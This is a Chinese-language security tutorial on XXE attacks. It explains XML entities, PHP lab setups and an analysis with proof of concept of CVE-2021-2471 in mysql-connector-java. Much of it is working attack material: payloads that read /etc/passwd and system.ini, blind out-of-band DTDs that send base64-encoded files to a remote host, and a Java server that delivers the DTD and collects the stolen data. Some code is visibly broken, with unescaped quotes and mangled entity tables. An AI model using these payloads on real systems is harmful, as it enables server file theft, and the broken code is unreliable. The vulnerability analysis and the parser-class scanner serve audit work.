有很多东西只是停留在听过和知道的层面,深入分析总结后,才能知道其中的魅力。
XXE 基础知识
XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义、文档元素。
- HTML 被设计用来显示数据,其焦点是数据的外观;XML 被设计用来传输和存储数据,其焦点是数据的内容
- HTML 的标签需要预定义,XML 的标签是自定义的
- 所有 XML 元素都必须有关闭标签、XML 标签对大小写敏感、XML 必须正确地嵌套、XML 文档必须有根元素、XML 的属性值必须加引号、XML 连续的空格会被保留
- XML 一些字符拥有特殊的意义,需要被实体引用。
| 实体引用 | XML 字符 | 含义 |
| ---------- | ---------- | -------- |
| <
| < | 小于 |
| >
| > | 大于 |
| &
| & | 和号 |
| '
| ' | 单引号 |
| "
| " | 双引号 |
* <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
是 XML 的头文件属性,用于声明 XML 文档的版本和编码,必须放在文档的开头。 version 代表版本;encoding 代表字符编码方式;standalone 代表这个 XML 文件是独立的还是依赖于外部 DTD 文件,当值为 yes 时表示 DTD 仅用于验证文档结构,从而外部实体将被禁用,默认值为 no。
实体 ENTITY
命名实体(内部实体)
内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在 DTD 或者 XML 文件开始部分(<!DOCTYPE>)中。
命名实体语法 <!ENTIY 实体名称 "实体的值">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Part!"> ]>
<root><x>&x;</x></root>
<!-- 定义了一个实体名称 x 值为 First Part! -->
<!-- &x; 用于引用实体 x -->
利用 &实体名;
引用实体,在 DTD 中定义 ,在 XML 文档中引用
外部普通实体
外部实体用于加载外部文件的内容。
外部普通实体语法 <!ENTIY 实体名称 SYSTEM "URI/URL">
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY outfile SYSTEM "outfile.xml"> ]>
```
外部参数实体
参数实体用于 DTD 和文档内部子集中。与一般实体不同,是以字符 (%) 开始,以字符 (;) 结束。
- 使用
% 实体名
(注意空格!) 在 DTD 中定义,并且只能在 DTD 中 使用%实体名;
引用 - 只有在 DTD 文件中才能在参数实体声明的时候引用其他实体
- 参数实体可以外部引用
为了方便理解,举以下几个栗子:
- 栗子一
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % outfile SYSTEM "outfile.xml">
%outfile;]>
<!-- %outfile 用于引用实体 outfile -->
* 栗子二
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % part1 "Hello">
<!ENTITY % part2 " ">
<!ENTITY % part3 "world">
<!ENTITY % dtd SYSTEM "test.dtd">
%dtd;]>
<!ENTIY content "%part1;part2;part3;">
```
* 栗子三
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
```
- %remote 请求远程 vps 上的 test.dtd
- %int 调用 test.dtd 中的 %file
- %file 获取服务器上的敏感文件,并传入 %send
- %send 将数据发送到远程 vps 上
支持的协议
php 中的 XXE
搭建环境
利用 phpstudy 搭建环境,此时我们选用 php5.3.29 这是因为libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可使用phpinfo()查看libxml的版本信息。 审计时关注 SimpleXML
函数
有回显读本地敏感文件(Normal XXE)
```
xxe.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
```
<!-- payload -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY outfile SYSTEM "file:///c:/windows/system.ini"> ]>
<root>&outfile;</root>
当读取的文件存在特殊符号时,利用上述方法读取时会报错,所以需要利用 CDATA
被 <![CDATA[]]>
这个标记所包含的内容将表示纯文本,比如 <![CDATA[<]]>
表示文本内容 <
。 使用时需要注意,内容中不能再包含 ]]> 同时不能再嵌套使用。
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % outfile SYSTEM "file:///C:/Users/admin/Desktop/a/info.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%dtd; ]>
```
经过俺的测试发现,如果读取的文件中存在 %
还是会报错的
无回显读取本地敏感文件(Blind OOB XXE)
```
blindxxe.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
```
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%remote;%int;%send; ]>
">
```
我们注意到在 DTD 文件中 % send
转换成了 % send
,这是因为实体的值中不能有 % ,所以需要将其转换成 html 实体编码的 % 。
写了一个简单的 xxe 利用脚本,功能简单就不做过多的分析了
```
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
public class xxe {
private static String filename = "";
public static void main(String[] args) throws UnknownHostException {
if (args.length < 1) {
System.out.println("usage: java -jar xxe.jar filename nneg:java -jar xxe.jar /etc/passwd");
System.exit(-1);
} else {
filename = args[0];
System.out.println(String.format("payload:n"+"<?xml version="1.0" encoding="utf-8"?>n" +
"<!DOCTYPE convert [n" +
"<!ENTITY %% remote SYSTEM "http://%s:9090/xxe.dtd">n" +
"%%remote;%%int;%%send;n" +
"]>",InetAddress.getLocalHost().getHostAddress()));
try {
HttpServer server = HttpServer.create(new InetSocketAddress(9090), 0);
server.createContext("/xxe.dtd", new xxe.PHPDTDHandler());
server.setExecutor(null);
server.start();
HttpServer xxeserver = HttpServer.create(new InetSocketAddress(9091), 0);
System.out.println(String.format("Listen:%s:%s",InetAddress.getLocalHost().getHostAddress(),9091));
xxeserver.createContext("/",new xxe.ListenHandler());
xxeserver.setExecutor(null);
xxeserver.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
static class ListenHandler implements HttpHandler{
public void handle(HttpExchange t) throws IOException{
String request = t.getRequestURI().getQuery();
System.out.println(request);
t.sendResponseHeaders(200, request.length());
OutputStream os = t.getResponseBody();
os.write(request.getBytes());
os.close();
}
}
static class PHPDTDHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String respone =String.format("<!ENTITY %% file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///%s">n" +
"<!ENTITY %% int "<!ENTITY % send SYSTEM 'http://%s:9091?%%file;'>">",filename,InetAddress.getLocalHost().getHostAddress());
System.out.println("Sending xxe.dtd: n" + respone + "n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
}
}
```
java 中的 XXE
java 中依赖于丰富的库,在解析 xml 数据的方式有多种,白盒审计时可以正则匹配相应 xml 解析库的类。
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
javax.xml.transform.stream.StreamSource
javax.xml.parsers.SAXParserFactory
利用工具
```
import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
public class xxeSearch {
public static List list = new ArrayList();
public static void main(String[] args) throws IOException {
if (args.length < 1) {
System.out.println("usage: java -jar xxeSearch.jar pathnneg:java -jar xxeSearch.jar C:UsersadminDesktopdecompiled-mysql-connector-java-8.0.26");
System.exit(-1);
}
String path = args[0];
List filename = searchDir(path);
for (int i = 0; i < filename.size(); i++) {
String name = (String) filename.get(i);
String str = ReaderSource(name);
if(xxeFinder(str)){
System.out.println(name + " this class maybe have XXE!!!!!!!!!");
}
}
}
private static List searchDir(String path){
File file = new File(path);
File[] array = file.listFiles();// 获得文件夹内的所有文件
for(int i=0;i<array.length;i++)
{
if(array[i].isFile()){
//System.out.println(path+array[i].getName());
list.add(path+array[i].getName());
}else if(array[i].isDirectory()){
//System.out.println(array[i].getName());
searchDir(array[i].getPath()+""); //递归获取文件夹名
}
}
return list;
}
private static String ReaderSource(String path) {
StringBuffer result = new StringBuffer();
File file = new File(path);
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); //构造一个 BufferReader 类读取文件
String tempStr = null;
while ((tempStr = bufferedReader.readLine()) != null) { //使用 readLine 方法,一次读取一行
result.append(tempStr);
}
bufferedReader.close();
} catch (Exception e) {
e.printStackTrace();
}
return result.toString();
}
private static boolean xxeFinder(String str){
//String XXE_Regex = ".javax.xml.parsers.DocumentBuilderFactory.";
String XXE_Regex=".javax.xml.|.org.xml.sax.|.javax.xml.parsers.DocumentBuilderFactory.|.javax.xml.parsers.SAXParser.|.javax.xml.transform.TransformerFactory.|.javax.xml.validation.Validator.|.javax.xml.validation.SchemaFactory.|.javax.xml.transform.sax.SAXTransformerFactory.|.javax.xml.transform.sax.SAXSource.|.org.xml.sax.XMLReader.|.org.xml.sax.helpers.XMLReaderFactory.|.org.dom4j.io.SAXReader.|.org.jdom.input.SAXBuilder.|.org.jdom2.input.SAXBuilder.|.javax.xml.bind.Unmarshaller.|.javax.xml.xpath.XpathExpression.|.javax.xml.stream.XMLStreamReader.|.org.apache.commons.digester3.Digester.|.javax.xml.ws.EndpointReference.|.javax.xml.transform.stream.StreamSource.|.javax.xml.parsers.SAXParserFactory.";
return Pattern.matches(XXE_Regex,str);
}
}
```
利用工具可以选用 xxer
MySQL JDBC XXE漏洞 (CVE-2021-2471)
漏洞分析
infected: mysql-connector-java <= 8.0.26
fixed: mysql-connector-java > 8.0.27
创建 maven 项目,并在 pom.xml
中添加依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
我们对比存在漏洞的版本和修复漏洞的版本mysql-connector-java-8.0.27.jar&&mysql-connector-java-8.0.26.jar
GitHub - GraxCode/cafecompare: Java code comparison tool (jar / class)
我们已经知道漏洞的触发点位于函数 com.mysql.cj.jdbc.MysqlSQLXML#getSource
com.mysql.cj.jdbc.MysqlSQLXML#getSource
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
没有做相关校验和判断,直接实例化对象,从而可以在XML 中引入外部实体,造成 XXE 攻击。
我们看到实例化的数据是 inputSource
他可以由 this.stringRep
来决定, 关注一下 this.stringRep
的赋值操作
com.mysql.cj.jdbc.MysqlSQLXML#setString
在赋值给 stringRep
的同时也设定了 fromResultSet
的值为 flase
com.mysql.cj.jdbc.MysqlSQLXML
类继承于 java.sql.SQLXML
所以只需要创建一个 SQLXML
对象,就可以调用其 getSource
和 setString
方法。
查阅关于`SQLXML的一些用法: sqlxml
方法 Connection.createSQLXML
用于创建一个空的 SQLXML
对象。SQLXML.setString
方法用于将数据写入创建的 SQLXML
对象。
理论验证
```
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLXML;
public class Poc {
private static final String connection_url = "jdbc:mysql://127.0.0.1:3306/mysqlxxe";
private static final String connection_user = "mysqlxxe";
private static final String connection_pass = "mysqlxxe";
private static final String poc = "" +
"<!DOCTYPE b [" +
" <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/poc.txt">" +
"]>" +
"<name>&xxe;</name>";
public static void main(String[] args) throws Exception {
Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}
}
```
实际操作
在数据库中添加一个表
create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);
表中插入数据
insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');
查询数据
Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
对应的来说,有两种方式可以将恶意 XXE 传递给 MysqlSQLXML
- 使用 sqlxml.setString() 函数 (攻击者可以调用或传递任意参数到 setString 函数)
- 将 XML 放入 DB 并使用 resultSet.getSQLXML() 函数通过结果集检索它 (如果攻击者对数据库具有访问权限,或者将受害者指向攻击者控制的数据库)
相关推荐: 将JavaScript隐藏到PNG图片中来绕过CSP
译文来源:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/。受个人知识所限及偏见影响,部分内容可能存在过度曲解或误解,望师傅们包含并提出建议,感激。 序言 将一个恶意的JavaScrip…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论